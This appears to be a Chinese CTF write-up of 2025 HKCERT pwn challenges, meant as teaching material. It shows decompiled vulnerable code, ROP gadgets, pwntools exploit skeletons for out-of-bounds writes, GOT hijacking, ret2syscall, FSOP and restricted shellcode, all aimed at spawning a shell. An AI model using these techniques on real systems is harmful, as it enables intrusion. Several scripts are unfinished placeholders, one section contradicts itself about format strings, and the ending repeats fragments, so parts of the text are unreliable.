2025HKCERT WP 详细题解与PWN技术教学<\/h1>

第一题：strange_rop<\/h2>

题目分析<\/h3>

程序结构分析<\/h4>
int<\/span> __fastcall<\/span> main<\/span>(int<\/span> argc, const<\/span> char<\/span> **<\/span>argv, const<\/span> char<\/span> **<\/span>envp)
<\/span><\/span>{
<\/span><\/span>  init(*<\/span>(__int64<\/span> *<\/span>)&<\/span>argc, (__int64<\/span>)argv, (__int64<\/span>)envp);
<\/span><\/span>  if<\/span> ((unsigned<\/span> int<\/span>)game() ==<\/span> 1<\/span>)
<\/span><\/span>    win();
<\/span><\/span>  return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>int<\/span> win<\/span>()
<\/span><\/span>{
<\/span><\/span>  puts("good!"<\/span>);
<\/span><\/span>  return<\/span> system("ababalabalabalawuwuwuuwyyyyy"<\/span>);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>漏洞定位<\/h4>
在game()<\/code>函数中存在数组越界写漏洞：<\/p>
__int64<\/span> game<\/span>()
<\/span><\/span>{
<\/span><\/span>  \/\/ 变量声明
<\/span><\/span><\/span><\/span>  _QWORD v6[12<\/span>]; \/\/ [rsp+10h] [rbp-60h] BYREF
<\/span><\/span><\/span><\/span>  v6[11<\/span>] =<\/span> __readfsqword(0x28u<\/span>); \/\/ Canary保护
<\/span><\/span><\/span><\/span>  
<\/span><\/span>  \/\/ 生成10道数学题
<\/span><\/span><\/span><\/span>  for<\/span> (n9 =<\/span> 0<\/span>; n9 <=<\/span> 9<\/span>; ++<\/span>n9) {
<\/span><\/span>    v4 =<\/span> rand() %<\/span> 20<\/span>;
<\/span><\/span>    v5 =<\/span> rand() %<\/span> 20<\/span>;
<\/span><\/span>    answer[id++<\/span>] =<\/span> (int<\/span>)(v4 +<\/span> v5);
<\/span><\/span>  }
<\/span><\/span>  
<\/span><\/span>  \/\/ 漏洞点：负数索引越界写
<\/span><\/span><\/span><\/span>  while<\/span> (t <=<\/span> 10<\/span>) {
<\/span><\/span>    printf("Question Number:"<\/span>);
<\/span><\/span>    __isoc99_scanf("%d"<\/span>, &<\/span>id);
<\/span><\/span>    if<\/span> (id ><\/span> 9<\/span>) { \/\/ 只检查了上界，未检查下界
<\/span><\/span><\/span><\/span>      exit(114514<\/span>);
<\/span><\/span>    }
<\/span><\/span>    printf("Result:"<\/span>);
<\/span><\/span>    __isoc99_scanf("%lld"<\/span>, &<\/span>v6[id]); \/\/ 可输入负数索引实现越界写
<\/span><\/span><\/span><\/span>    ++<\/span>t;
<\/span><\/span>  }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>保护机制检查<\/h4>
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
<\/code><\/pre>
利用思路<\/h3>
1. 可用gadget分析<\/h4>
0x00000000004012f0 : pop r15 ; ret
0x000000000040123d : pop rbp ; ret
0x00000000004012f1 : pop rdi ; ret
0x000000000040101a : ret
0x00000000004012ed : mov rbp, rsp ; pop r15 ; ret
0x00000000004012ec : push rbp ; mov rbp, rsp ; pop r15 ; ret
<\/code><\/pre>
2. 关键地址<\/h4>

\/bin\/sh<\/code>字符串地址：0x404078<\/code><\/li>
system函数可通过PLT调用<\/li>
<\/ul>
3. 利用链构建<\/h4>
通过负数索引覆盖返回地址，构造ROP链调用system("\/bin\/sh")<\/p>
最终exp<\/h3>
from<\/span> pwn import<\/span> *<\/span>
<\/span><\/span>
<\/span><\/span>context.<\/span>arch =<\/span> 'amd64'<\/span>
<\/span><\/span>context.<\/span>log_level =<\/span> 'debug'<\/span>
<\/span><\/span>
<\/span><\/span># 本地调试或远程连接<\/span>
<\/span><\/span>def<\/span> exp<\/span>():
<\/span><\/span>    if<\/span> args.<\/span>REMOTE:
<\/span><\/span>        p =<\/span> remote('ip'<\/span>, port)
<\/span><\/span>    else<\/span>:
<\/span><\/span>        p =<\/span> process('.\/pwn'<\/span>)
<\/span><\/span>    
<\/span><\/span>    # 利用负数索引覆盖返回地址<\/span>
<\/span><\/span>    # 具体偏移需要通过调试确定<\/span>
<\/span><\/span>    # 构造ROP链：pop rdi; "\/bin\/sh"; system<\/span>
<\/span><\/span>    payload =<\/span> b<\/span>''<\/span>
<\/span><\/span>    
<\/span><\/span>    # 交互过程<\/span>
<\/span><\/span>    p.<\/span>interactive()
<\/span><\/span>
<\/span><\/span>if<\/span> __name__ ==<\/span> '__main__'<\/span>:
<\/span><\/span>    exp()
<\/span><\/span><\/code><\/pre>第二题：nofile<\/h2>
题目特性<\/h3>

开启PIE保护<\/li>
格式化字符串漏洞不可用<\/li>
存在后门函数直接给shell<\/li>
<\/ul>
利用思路<\/h3>

信息泄露<\/strong>：通过特定输入泄露程序基址<\/li>
GOT表劫持<\/strong>：将printf或read的GOT表项修改为后门函数地址<\/li>
触发执行<\/strong>：通过正常流程触发被修改的函数调用<\/li>
<\/ol>
EXP关键步骤<\/h3>
# 泄露PIE基址<\/span>
<\/span><\/span>leak_payload =<\/span> b<\/span>'%p'<\/span> *<\/span> n  # 通过特定格式泄露地址<\/span>
<\/span><\/span>
<\/span><\/span># 计算后门函数实际地址<\/span>
<\/span><\/span>backdoor_addr =<\/span> base +<\/span> backdoor_offset
<\/span><\/span>
<\/span><\/span># 修改GOT表（以read为例）<\/span>
<\/span><\/span># 需要确定GOT表项偏移和写入方式<\/span>
<\/span><\/span><\/code><\/pre>第四题：stop<\/h2>
保护机制分析<\/h3>

禁用system函数<\/li>
需要ret2syscall或ret2hellor技术<\/li>
<\/ul>
利用技术<\/h3>
ret2syscall<\/h4>
在libc 2.39中寻找合适的gadget：<\/p>
0x00000000000b503c : pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
<\/code><\/pre>
攻击步骤<\/h4>

泄露libc基址<\/li>
构造syscall链（execve或orw）<\/li>
迁移到bss段执行<\/li>
<\/ol>
EXP框架<\/h3>
def<\/span> ret2syscall_exp<\/span>():
<\/span><\/span>    # 泄露libc<\/span>
<\/span><\/span>    leak_payload =<\/span> cyclic(offset) +<\/span> p64(pop_rdi) +<\/span> p64(got_puts) +<\/span> p64(plt_puts)
<\/span><\/span>    
<\/span><\/span>    # 接收泄露地址，计算基址<\/span>
<\/span><\/span>    libc_base =<\/span> u64(p.<\/span>recv(6<\/span>).<\/span>ljust(8<\/span>, b<\/span>'<\/span>\x00<\/span>'<\/span>)) -<\/span> libc.<\/span>symbols['puts'<\/span>]
<\/span><\/span>    
<\/span><\/span>    # 构造syscall链<\/span>
<\/span><\/span>    rop =<\/span> ROP(libc)
<\/span><\/span>    rop.<\/span>execve(next(libc.<\/span>search(b<\/span>'\/bin\/sh'<\/span>)), 0<\/span>, 0<\/span>)
<\/span><\/span>    
<\/span><\/span>    # 发送payload<\/span>
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>'input:'<\/span>, payload)
<\/span><\/span><\/code><\/pre>第五题：filesystem<\/h2>
漏洞分析<\/h3>

输入quit<\/code>进入cat线程<\/li>
存在字符串检查绕过漏洞<\/li>
本地与远程过滤规则不同（远程额外过滤?<\/code>和*<\/code>）<\/li>
<\/ul>
利用方法<\/h3>
通过特定输入绕过检查直接获取flag<\/p>
第七题：compress<\/h2>
程序分析<\/h3>

非堆漏洞，整数溢出漏洞<\/li>
一次show机会，一次read机会<\/li>
可负数索引实现越界读写<\/li>
<\/ul>
漏洞利用<\/h3>
1. 整数溢出<\/h4>
输入-256<\/code>绕过长度检查，实现无限写入<\/p>
2. FILE结构体攻击<\/h4>

劫持IO结构体控制流<\/li>
通过puts函数触发FILE操作<\/li>
构造伪造的FILE结构体<\/li>
<\/ul>
3. 沙盒绕过<\/h4>

分析沙盒限制<\/li>
构造合适的ROP链<\/li>
<\/ul>
攻击流程<\/h3>
def<\/span> compress_exp<\/span>():
<\/span><\/span>    # 触发整数溢出<\/span>
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>'size:'<\/span>, b<\/span>'-256'<\/span>)
<\/span><\/span>    
<\/span><\/span>    # 泄露地址<\/span>
<\/span><\/span>    p.<\/span>recvuntil(b<\/span>'content:'<\/span>)
<\/span><\/span>    leak =<\/span> u64(p.<\/span>recv(6<\/span>).<\/span>ljust(8<\/span>, b<\/span>'<\/span>\x00<\/span>'<\/span>))
<\/span><\/span>    libc_base =<\/span> leak -<\/span> libc_offset
<\/span><\/span>    
<\/span><\/span>    # 构造FILE攻击payload<\/span>
<\/span><\/span>    fake_file =<\/span> build_fake_file(libc_base)
<\/span><\/span>    
<\/span><\/span>    # 触发漏洞<\/span>
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>'data:'<\/span>, fake_file)
<\/span><\/span><\/code><\/pre>第八题：linkstart<\/h2>
游戏机制分析<\/h3>

英雄与怪物对战游戏<\/li>
通过修改攻击力数值实现越界写<\/li>
结构体操作漏洞<\/li>
<\/ul>
漏洞利用<\/h3>
1. 结构体分析<\/h4>
struct<\/span> Hero {
<\/span><\/span>    int<\/span> hp;
<\/span><\/span>    int<\/span> level;
<\/span><\/span>    int<\/span> attack_power;
<\/span><\/span>    \/\/ ... 其他字段
<\/span><\/span><\/span><\/span>};
<\/span><\/span><\/code><\/pre>2. 越界写利用<\/h4>
通过技能选择机制的索引漏洞，修改隐藏的攻击力数值<\/p>
3. 地址计算<\/h4>

确定目标地址偏移<\/li>
构造合适的数值覆盖<\/li>
<\/ul>
EXP关键<\/h3>
def<\/span> linkstart_exp<\/span>():
<\/span><\/span>    # 选择漏洞技能<\/span>
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>'choice:'<\/span>, b<\/span>'3'<\/span>)
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>'choice:'<\/span>, b<\/span>'2'<\/span>)  # 回血触发漏洞<\/span>
<\/span><\/span>    
<\/span><\/span>    # 计算目标地址<\/span>
<\/span><\/span>    target_addr =<\/span> elf_base +<\/span> 0x402068<\/span>
<\/span><\/span>    
<\/span><\/span>    # 通过特定输入修改攻击力<\/span>
<\/span><\/span>    payload =<\/span> p64(large_value)  # 大整数避免负数判断<\/span>
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>'input:'<\/span>, payload)
<\/span><\/span><\/code><\/pre>第九题：childcode<\/h2>
题目特性<\/h3>

Shellcode限制：每个字节必须是5的倍数<\/li>
真随机数生成<\/li>
RSP寄存器被清空<\/li>
<\/ul>
可用指令分析<\/h3>
单字节指令（5的倍数）<\/h4>
0x05: add eax, imm32
0x2D: sub eax, imm32  
0x55: push rbp
0x5A: pop rdx
0x5F: pop rdi
0x91: xchg ecx, eax
0x96: xchg esi, eax
0xB9: mov ecx, imm32
0xBE: mov esi, imm32
0xC3: ret
<\/code><\/pre>
双字节指令<\/h4>
0x0F 05: syscall
0x0F BE: movsx 符号扩展
<\/code><\/pre>
Shellcode构造策略<\/h3>
1. 寄存器控制<\/h4>

通过xchg指令交换寄存器值<\/li>
利用mov指令设置立即数<\/li>
通过算术指令调整数值<\/li>
<\/ul>
2. 系统调用构造<\/h4>
; 示例shellcode框架
<\/span><\/span><\/span><\/span>push<\/span> rbp<\/span>        ; 0x55
<\/span><\/span><\/span><\/span>pop<\/span> rdi<\/span>         ; 0x5F  
<\/span><\/span><\/span><\/span>mov<\/span> esi<\/span>, imm32<\/span>  ; 0xBE [imm32]
<\/span><\/span><\/span><\/span>xchg<\/span> eax<\/span>, esi<\/span>   ; 0x96
<\/span><\/span><\/span><\/span>sub<\/span> eax<\/span>, imm32<\/span>  ; 0x2D [imm32]
<\/span><\/span><\/span><\/span>syscall<\/span>         ; 0x0F 05
<\/span><\/span><\/span><\/code><\/pre>3. 绕过验证<\/h4>

每个字节需要满足：(byte * 205) % 256 <= 51<\/li>
精心选择指令编码满足验证条件<\/li>
<\/ul>
教学要点总结<\/h3>

漏洞识别<\/strong>：负数索引、整数溢出、结构体操作等<\/li>
保护绕过<\/strong>：Canary、NX、PIE、RELRO等<\/li>
利用技术<\/strong>：ROP、FSOP、Shellcode限制绕过<\/li>
调试技巧<\/strong>：动态分析确定偏移和地址<\/li>
EXP编写<\/strong>：稳定性考虑，异常处理<\/li>
<\/ol>
这份文档涵盖了2025HKCERT WP的主要技术要点，适合作为PWN入门的进阶学习材料。<\/p>
2025HKCERT WP 详细题解与PWN技术教学<\/h1>

第一题：strange_rop<\/h2>

题目分析<\/h3>

利用思路<\/h3>

3. 利用链构建<\/h4> 通过负数索引覆盖返回地址，构造ROP链调用system("\/bin\/sh")<\/p>

第二题：nofile<\/h2>

第四题：stop<\/h2>

利用技术<\/h3>

第五题：filesystem<\/h2>

利用方法<\/h3> 通过特定输入绕过检查直接获取flag<\/p>

第七题：compress<\/h2>

漏洞利用<\/h3>

1. 整数溢出<\/h4> 输入-256<\/code>绕过长度检查，实现无限写入<\/p>

第八题：linkstart<\/h2>

漏洞利用<\/h3>

2. 越界写利用<\/h4> 通过技能选择机制的索引漏洞，修改隐藏的攻击力数值<\/p>

第九题：childcode<\/h2>

可用指令分析<\/h3>

Shellcode构造策略<\/h3>

3. 利用链构建<\/h4>
通过负数索引覆盖返回地址，构造ROP链调用system("\/bin\/sh")<\/p>

利用方法<\/h3>
通过特定输入绕过检查直接获取flag<\/p>

1. 整数溢出<\/h4>
输入`-256<\/code>绕过长度检查，实现无限写入<\/p>`

2. 越界写利用<\/h4>
通过技能选择机制的索引漏洞，修改隐藏的攻击力数值<\/p>
